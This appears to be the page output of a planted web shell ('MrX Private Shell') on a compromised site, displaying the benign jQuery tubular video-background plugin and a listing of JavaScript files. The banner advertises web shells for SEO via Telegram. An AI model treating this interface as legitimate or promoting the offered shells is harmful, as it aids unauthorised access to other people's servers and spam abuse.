__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* jQuery tubular plugin
|* by Sean McCambridge
|* http://www.seanmccambridge.com/tubular
|* version: 1.0
|* updated: October 1, 2012
|* since 2010
|* licensed under the MIT License
|* Enjoy.
|*
|* Thanks,
|* Sean */
;(function ($, window) {
// test for feature support and return if failure
// defaults
var defaults = {
ratio: 16/9, // usually either 4/3 or 16/9 -- tweak as needed
videoId: 'ZCAnLxRvNNc', // toy robot in space is a good default, no?
mute: true,
repeat: true,
width: $(window).width(),
wrapperZIndex: 99,
playButtonClass: 'tubular-play',
pauseButtonClass: 'tubular-pause',
muteButtonClass: 'tubular-mute',
volumeUpClass: 'tubular-volume-up',
volumeDownClass: 'tubular-volume-down',
increaseVolumeBy: 10,
start: 0
};
// methods
var tubular = function(node, options) { // should be called on the wrapper div
var options = $.extend({}, defaults, options),
$body = $('body') // cache body node
$node = $(node); // cache wrapper node
// build container
var tubularContainer = '<div id="tubular-container" style="display:none;overflow: hidden; position: fixed; z-index: 1; width: 100%; height: 100%"><div id="tubular-player" style="position: absolute"></div></div><div id="tubular-shield" style="width: 100%; height: 100%; z-index: 2; position: absolute; left: 0; top: 0;"></div>';
var done = false;
// set up css prereq's, inject tubular container and set up wrapper defaults
$('html,body').css({'width': '100%', 'height': '100%'});
$body.prepend(tubularContainer);
$node.css({position: 'relative', 'z-index': options.wrapperZIndex});
// set up iframe player, use global scope so YT api can talk
window.player;
window.onYouTubeIframeAPIReady = function() {
player = new YT.Player('tubular-player', {
width: options.width,
height: Math.ceil(options.width / options.ratio),
videoId: options.videoId,
playerVars: {
rel: 0,
controls: 0,
showinfo: 0,
modestbranding: 1,
iv_load_policy:3,
wmode: 'transparent'
},
events: {
'onReady': onPlayerReady,
'onStateChange': onPlayerStateChange
}
});
}
window.onPlayerReady = function(e) {
//player.addEventListener('onStateChange', onPlayerStateChange);
resize();
if (options.mute) e.target.mute();
e.target.seekTo(options.start);
e.target.playVideo();
$('#tubular-container').fadeIn();
}
window.onPlayerStateChange = function(state) {
//console.log('ready for safair');
if (state.data === 0 && options.repeat) { // video ended and repeat option is set true
player.seekTo(options.start); // restart
player.playVideo();
}
if (state.data === 1){
$('#tubular-container iframe').addClass('active');
}
if(options.repeat === false){
var videoDuration = player.getDuration();
if (state.data == YT.PlayerState.PLAYING && !done) {
// pause 0.1 seconds before the end
//console.log((videoDuration-0.2)*1000);
setTimeout(pauseVideo, (videoDuration-0.2)*1000);
done = true;
}
}
}
window.pauseVideo = function() {
player.pauseVideo();
}
// resize handler updates width, height and offset of player after resize/init
var resize = function() {
var width = $(window).width(),
pWidth, // player width, to be defined
height = $(window).height(),
pHeight, // player height, tbd
$tubularPlayer = $('#tubular-player');
// when screen aspect ratio differs from video, video must center and underlay one dimension
if (width / options.ratio < height) { // if new video height < window height (gap underneath)
pWidth = Math.ceil(height * options.ratio); // get new player width
$tubularPlayer.width(pWidth).height(height).css({left: (width - pWidth) / 2, top: 0}); // player width is greater, offset left; reset top
} else { // new video width < window width (gap to right)
pHeight = Math.ceil(width / options.ratio); // get new player height
$tubularPlayer.width(width).height(pHeight).css({left: 0, top: (height - pHeight) / 2}); // player height is greater, offset top; reset left
}
}
// events
$(window).on('resize.tubular', function() {
resize();
})
$('body').on('click','.' + options.playButtonClass, function(e) { // play button
e.preventDefault();
player.playVideo();
}).on('click', '.' + options.pauseButtonClass, function(e) { // pause button
e.preventDefault();
player.pauseVideo();
}).on('click', '.' + options.muteButtonClass, function(e) { // mute button
e.preventDefault();
(player.isMuted()) ? player.unMute() : player.mute();
}).on('click', '.' + options.volumeDownClass, function(e) { // volume down button
e.preventDefault();
var currentVolume = player.getVolume();
if (currentVolume < options.increaseVolumeBy) currentVolume = options.increaseVolumeBy;
player.setVolume(currentVolume - options.increaseVolumeBy);
}).on('click', '.' + options.volumeUpClass, function(e) { // volume up button
e.preventDefault();
if (player.isMuted()) player.unMute(); // if mute is on, unmute
var currentVolume = player.getVolume();
if (currentVolume > 100 - options.increaseVolumeBy) currentVolume = 100 - options.increaseVolumeBy;
player.setVolume(currentVolume + options.increaseVolumeBy);
})
}
// load yt iframe js api
var tag = document.createElement('script');
tag.src = "https://www.youtube.com/iframe_api";
var firstScriptTag = document.getElementsByTagName('script')[0];
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
// create plugin
$.fn.tubular = function (options) {
return this.each(function () {
if (!$.data(this, 'tubular_instantiated')) { // let's only run one
$.data(this, 'tubular_instantiated',
tubular(this, options));
}
});
}
})(jQuery, window);| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| animate-dynamic.js | File | 19.26 KB | 0775 |
|
| dynamic-text.js | File | 32.9 KB | 0775 |
|
| iframeResizer.contentWindow.js | File | 33.68 KB | 0775 |
|
| iframeResizer.contentWindow.min.js | File | 13.08 KB | 0775 |
|
| iframeResizer.js | File | 31.3 KB | 0775 |
|
| iframeResizer.min.js | File | 12.09 KB | 0775 |
|
| imagesloaded.pkgd.min.js | File | 5.46 KB | 0775 |
|
| img-previewer.js | File | 22.82 KB | 0775 |
|
| img-previewer.min.js | File | 11.01 KB | 0775 |
|
| isotope.pkgd.js | File | 89.26 KB | 0775 |
|
| jquery-numerator.js | File | 4.04 KB | 0775 |
|
| jquery-numerator.min.js | File | 1.86 KB | 0775 |
|
| jquery.animation.js | File | 4.82 KB | 0775 |
|
| jquery.animation.min.js | File | 916 B | 0775 |
|
| jquery.event.move.js | File | 14.19 KB | 0775 |
|
| jquery.lettering.js | File | 1.8 KB | 0775 |
|
| jquery.lettering.min.js | File | 685 B | 0775 |
|
| jquery.textillate.js | File | 10.93 KB | 0775 |
|
| jquery.textillate.min.js | File | 5.29 KB | 0775 |
|
| jquery.twentytwenty.js | File | 5.29 KB | 0775 |
|
| jquery.twentytwenty.min.js | File | 5.29 KB | 0775 |
|
| lightbox.js | File | 19.56 KB | 0775 |
|
| lightbox.min.js | File | 10.14 KB | 0775 |
|
| masonry.pkgd.js | File | 61.83 KB | 0775 |
|
| minimasonry.js | File | 7.32 KB | 0775 |
|
| sp-animateeffects.js | File | 31.58 KB | 0775 |
|
| sp-animateeffects.min.js | File | 10.47 KB | 0775 |
|
| sp-scripts.js | File | 74.57 KB | 0775 |
|
| sp-scripts.min.js | File | 36.58 KB | 0775 |
|
| toolbar.js | File | 3.57 KB | 0775 |
|
| tooltipster.bundle.min.js | File | 38.96 KB | 0775 |
|
| tsparticles.js | File | 289.76 KB | 0775 |
|
| tsparticles.min.js | File | 137.33 KB | 0775 |
|
| tubular.js | File | 6.81 KB | 0775 |
|
| xdLocalStorage.js | File | 4.33 KB | 0775 |
|